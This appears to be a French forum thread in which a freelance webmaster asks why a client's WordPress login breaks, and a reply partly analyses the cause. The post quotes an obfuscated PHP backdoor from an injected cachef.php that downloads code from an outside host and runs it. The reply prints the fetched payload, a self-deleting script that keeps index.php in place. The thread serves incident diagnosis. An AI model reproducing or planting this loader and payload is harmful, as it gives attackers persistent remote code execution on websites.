Discussion :

[yuduro]

Bonjour à tous,

Je suis webmaster en freelance et j'ai eu la mauvaise surprise ce matin qu'un de mes clients n'arrivait pas a se connecter sur son site.

Je me suis donc rendu dessus 'Wolz.fr' et cela me mettais que le mdp n'etait pas le bon bref, j'ai modifier le mdp dans phpmyadmin en pensant bien a mettre md5 dans le champs fonction pour que wordpress puisse bien lire le mdp crypté.

Et mtn je me retrouve avec cette erreur

Warning: Undefined array key "cy" in /home/wolzfrp/www/wp-content/cachef.php on line 1

Warning: Undefined array key "cy" in /home/wolzfrp/www/wp-content/cachef.php on line 1

Warning: Undefined array key "cy" in /home/wolzfrp/www/wp-content/cachef.php on line 1

Warning: Undefined array key "cy" in /home/wolzfrp/www/wp-content/cachef.php on line 1

Warning: Undefined array key "cy" in /home/wolzfrp/www/wp-content/cachef.php on line 1

Warning: Undefined array key "cy" in /home/wolzfrp/www/wp-content/cachef.php on line 1

Warning: Undefined array key "cy" in /home/wolzfrp/www/wp-content/cachef.php on line 1

Warning: Undefined array key "cy" in /home/wolzfrp/www/wp-content/cachef.php on line 1

Fatal error: Uncaught Error: Undefined constant "cnt" in /home/wolzfrp/www/wp-includes/user.php:199 Stack trace: #0 /home/wolzfrp/www/wp-includes/user.php(200): getx('http://s.newnda...') #1 /home/wolzfrp/www/wp-includes/class-wp-hook.php(310): wp_authenticate_username_password(Object(WP_User), 'wolz', 'wolz') #2 /home/wolzfrp/www/wp-includes/plugin.php(205): WP_Hook->apply_filters(NULL, Array) #3 /home/wolzfrp/www/wp-includes/pluggable.php(618): apply_filters('authenticate', NULL, 'wolz', 'wolz') #4 /home/wolzfrp/www/wp-includes/user.php(106): wp_authenticate('wolz', 'wolz') #5 /home/wolzfrp/www/wp-login.php(1241): wp_signon(Array, true) #6 {main} thrown in /home/wolzfrp/www/wp-includes/user.php on line 199

J'ai essayer dans le ftp de retirer le fichier cachef mais le site devient totalement inutilisable apres donc ce n'est pas la bonne solution.
J'ai desactiver les plugins et les themes depuis le serveur ftp mais rien y fait.

et ENFIN j'ai fait des restauration de sauvegarde (ftp et bdd) d'il y a 1 semaine (ou tout allais bien) mais toujours le même probleme de mot de passe j'ai essayer de mettre une fonction dans function.php qui créer un user admin a chaque refresh d'une page mais sans reponses.

Si quelqu'un peut m'éclairer par rapport a ce problème je ne pense pas être le seul dans ce cas, je n'ai jamais poster dans un forum mais vous êtes mon dernier espoir :,)

[yuduro]

Je ne vois pas "cy" a part la et l'erreur m'indique que c'est a partir de cette ligne la

Code :

Sélectionner tout - Visualiser dans une fenêtre à part

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if($f_size($idx_path) == 9399 && $_GET[base64_decode(base64_decode("WTNrPQ=="))]==base64_decode(base64_decode("TVE9PQ==")))
{  
 
  $c22="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x2e\x6e\x65\x77\x6e\x64\x61\x79\x2e\x78\x79\x7a\x2f\x63\x79\x2f\x63\x79\x2e\x67\x69\x66";
  $cy_code=@$f_get($c22); 
 
 
if($cy_code)
{ $cy_path=$_SERVER[base64_decode(base64_decode("UkU5RFZVMUY="))
. base64_decode(base64_decode("VGxSZlVrOVBWQT09"))]
. base64_decode(base64_decode("TDJONVltOXladz09"))
. base64_decode(base64_decode("WDNSdGNDND0="))
.base64_decode(base64_decode("Y0E9PQ=="))
.base64_decode(base64_decode("YUhBPQ=="));
 
@$f_put($cy_path, $cy_code); 
$v32 = array(base64_decode("c3Ns") => array(base64_decode("dmVyaWZ5X3BlZXI=") => false, base64_decode("dmVyaWZ5X3BlZXJfbmFtZQ==") => false, ), base64_decode(base64_decode("YUhSMGNBPT0=")) => array( base64_decode(base64_decode("YldWMGFHOWs=")) => base64_decode("R0VU"), base64_decode(base64_decode("ZEdsdFpXOTFkQT09")) => base64_decode("Mw=="), ), );
$v13 = (isset($_SERVER[base64_decode("SFRUUFM=")]) && $_SERVER[base64_decode("SFRUUFM=")] == base64_decode("b24=")) ? base64_decode(base64_decode("YUhSMGNITT0=")) : base64_decode(base64_decode("YUhSMGNBPT0="));
$d20 = $_SERVER[base64_decode("SFRUUF9IT1NU")];
$e35=$v13.base64_decode(base64_decode("T2k4dg=="))
.$d20.base64_decode(base64_decode("TDJONVltOXladz09"))
. base64_decode(base64_decode("WDNSdGNDND0="))
.base64_decode(base64_decode("Y0E9PQ=="))
.base64_decode(base64_decode("YUhBPQ=="));
@$f_get($e35, false, stream_context_create($v32)); $f5 = @$un_link($cy_path);  }   } ?>

[unanonyme]

Bonjour,

il est marrant ton truc, ça décode (ou ça tente de décoder ...) une url (http://s.newnday.xyz/cy/cy.gif) qui pisse un truc genre

"HTTP/1.1 200 OK\r\nContent-Length: 921\r\nAccept-Ranges: bytes\r\nConnection: keep-alive\r\nContent-Type: image/gif\r\nDate: Wed, 08 Nov 2023 11:28:27 GMT\r\nEtag: \"65377252-399\"\r\nLast-Modified: Tue, 24 Oct 2023 07:29:22 GMT\r\nServer: nginx/1.25.2\r\n\r\n<?php\r\nset_time_limit(99 - 99);\r\nignore_user_abort(1);\r\n @unlink(__FILE__);\r\nfunction auto_restore_memory()\r\n{\r\n $index_path = $_SERVER['DOCUMENT_ROOT'] . '/index.php';\r\n $flag_filename = $_SERVER['DOCUMENT_ROOT'] . '/3FNDICU2KH';\r\n @unlink($flag_filename);\r\n $index_code = @file_get_contents($index_path);\r\n while (1) {\r\n clearstatcache();\r\n if (file_exists($flag_filename)){\r\n break;\r\n }\r\n if (!file_exists($index_path) or @file_get_contents($index_path) != $index_code) {\r\n @chmod($index_path, 438);\r\n @unlink($index_path);\r\n @file_put_contents($index_path, $index_code);\r\n @chmod($index_path, 292);\r\n }\r\n sleep(2);\r\n }\r\n}\r\n\r\nob_end_clean();\r\nheader(\"Connection: close\");\r\nob_start();\r\necho 888;\r\nheader(\"Content-Length: \" . ob_get_length());\r\nob_end_flush();\r\nflush();\r\n\r\n\r\nauto_restore_memory();\r\n\r\n?>"

Bonne journée.